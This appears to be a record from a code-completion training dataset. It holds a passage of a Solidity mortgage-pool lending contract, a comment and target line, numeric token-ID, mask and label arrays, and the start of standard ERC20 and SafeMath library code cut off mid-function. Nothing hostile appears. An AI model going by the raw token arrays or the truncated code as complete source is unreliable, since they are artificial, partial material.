pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Additional ptoken issuance uint256 pTokenAmount = amount.mul(pTokenPrice).mul(rate).div(tokenPrice.mul(100)); PToken(pToken).issuance(pTokenAmount, address(msg.sender)); // Update debt information pLedger.mortgageAssets = mortgageAssets.add(amount); pLedger.parassetAssets = parassetAssets.add(pTokenAmount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(pLedger.mortgageAssets, pLedger.parassetAssets, tokenPrice, pTokenPrice); // Tag created if (pLedger.created == false) { ledgerArray[pToken][mortgageToken].push(address(msg.sender)); pLedger.created = true; } } /// @dev Increase mortgage assets /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of mortgaged assets function supplement(address mortgageToken, address pToken, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); require(amount > 0, "Log:MortgagePool:!amount"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(pLedger.created, "Log:MortgagePool:!created"); // Get the price and transfer to the mortgage token uint256 tokenPrice; uint256 pTokenPrice; if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransferFrom(address(msg.sender), address(this), amount); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); } else { require(msg.value >= amount, "Log:MortgagePool:!msg.value"); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], uint256(msg.value).sub(amount)); } // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Update debt information pLedger.mortgageAssets = mortgageAssets.add(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(pLedger.mortgageAssets, parassetAssets, tokenPrice, pTokenPrice); } /// @dev Reduce mortgage assets /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of mortgaged assets function decrease(address mortgageToken, address pToken, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(amount > 0 && amount <= mortgageAssets, "Log:MortgagePool:!amount"); require(pLedger.created, "Log:MortgagePool:!created"); // Get the price (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Update debt information pLedger.mortgageAssets = mortgageAssets.sub(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(pLedger.mortgageAssets, parassetAssets, tokenPrice, pTokenPrice); // The debt warehouse mortgage rate cannot be greater than the maximum mortgage rate require(pLedger.rate <= maxRate[mortgageToken], "Log:MortgagePool:!maxRate"); // Transfer out mortgage assets if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransfer(address(msg.sender), amount); } else { TransferHelper.safeTransferETH(address(msg.sender), amount); } } /// @dev Increase debt (increase coinage) /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of debt function increaseCoinage(address mortgageToken, address pToken, uint256 amount) public payable whenActive nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); require(amount > 0, "Log:MortgagePool:!amount"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(pLedger.created, "Log:MortgagePool:!created"); // Get the price (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Update debt information pLedger.parassetAssets = parassetAssets.add(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(mortgageAssets, pLedger.parassetAssets, tokenPrice, pTokenPrice); // The debt warehouse mortgage rate cannot be greater than the maximum mortgage rate require(pLedger.rate <= maxRate[mortgageToken], "Log:MortgagePool:!maxRate"); // Additional ptoken issuance PToken(pToken).issuance(amount, address(msg.sender)); } /// @dev Reduce debt (increase coinage) /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of debt function reducedCoinage(address mortgageToken, address pToken, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; address uToken = pTokenToUnderlying[pToken]; require(amount > 0 && amount <= parassetAssets, "Log:MortgagePool:!amount"); require(pLedger.created, "Log:MortgagePool:!created"); // Get the price (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, uToken, msg.value); // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), amount.add(fee)); // Eliminate negative accounts insurancePool.eliminate(pToken, uToken); emit FeeValue(pToken, fee); } // Update debt information pLedger.parassetAssets = parassetAssets.sub(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(mortgageAssets, pLedger.parassetAssets, tokenPrice, pTokenPrice); // Destroy ptoken insurancePool.destroyPToken(pToken, amount, uToken); } /// @dev Liquidation of debt /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param account debt owner address /// @param amount amount of mortgaged assets function liquidation(address mortgageToken, address pToken, address account, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][account]; require(pLedger.created, "Log:MortgagePool:!created"); uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(amount > 0 && amount <= mortgageAssets, "Log:MortgagePool:!amount"); // Get the price address uToken = pTokenToUnderlying[pToken]; (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, uToken, msg.value); // Judging the liquidation line checkLine(pLedger, tokenPrice, pTokenPrice, mortgageToken); // Calculate the amount of ptoken uint256 pTokenAmount = amount.mul(pTokenPrice).mul(90).div(tokenPrice.mul(100)); // Transfer to ptoken ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), pTokenAmount); // Eliminate negative accounts insurancePool.eliminate(pToken, uToken); // Calculate the debt for destruction uint256 offset = parassetAssets.mul(amount).div(mortgageAssets); // Destroy ptoken insurancePool.destroyPToken(pToken, offset, uToken); // Update debt information pLedger.mortgageAssets = mortgageAssets.sub(amount); pLedger.parassetAssets = parassetAssets.sub(offset); // Partial liquidation, mortgage rate and block number are not updated if (pLedger.parassetAssets == 0) { pLedger.blockHeight = 0; pLedger.rate = 0; } // Transfer out mortgage asset if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransfer(address(msg.sender), amount); } else { TransferHelper.safeTransferETH(address(msg.sender), amount); } } /// @dev Check the liquidation line /// @param pLedger debt warehouse ledger /// @param tokenPrice Mortgage asset price(1 ETH = ? token) /// @param pTokenPrice PToken price(1 ETH = ? pToken) /// @param mortgageToken mortgage asset address function checkLine(PersonalLedger memory pLedger, uint256 tokenPrice, uint256 pTokenPrice, address mortgageToken) private view { uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; // The current mortgage rate cannot exceed the liquidation line uint256 mortgageRate = getMortgageRate(pLedger.mortgageAssets, parassetAssets, tokenPrice, pTokenPrice); uint256 fee = 0; if (parassetAssets > 0 && block.number > pLedger.blockHeight && pLedger.blockHeight != 0) { fee = getFee(parassetAssets, pLedger.blockHeight, pLedger.rate, mortgageRate); } require(getMortgageRate(mortgageAssets, parassetAssets.add(fee), tokenPrice, pTokenPrice) > liquidationLine[mortgageToken], "Log:MortgagePool:!liquidationLine"); } /// @dev Get price /// @param mortgageToken mortgage asset address /// @param uToken underlying asset address /// @param priceValue price fee /// @return tokenPrice Mortgage asset price(1 ETH = ? token) /// @return pTokenPrice PToken price(1 ETH = ? pToken) function getPriceForPToken(address mortgageToken, address uToken, uint256 priceValue) private returns (uint256 tokenPrice, uint256 pTokenPrice) { (tokenPrice, pTokenPrice) = quary.getPriceForPToken{value:priceValue}(mortgageToken, uToken, msg.sender); } function takeOutERC20(address token, uint256 amount, address to) public onlyGovernance { ERC20(token).safeTransfer(address(to), amount); } function takeOutETH(uint256 amount, address to) public onlyGovernance { TransferHelper.safeTransferETH(address(to), amount); } }
Update debt information
pLedger.mortgageAssets = mortgageAssets.sub(amount);
14,660,454
[ 1, 1891, 18202, 88, 1779, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 202, 84, 28731, 18, 81, 499, 75, 410, 10726, 273, 312, 499, 75, 410, 10726, 18, 1717, 12, 8949, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/lib/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/lib/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/lib/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/lib/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/lib/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); 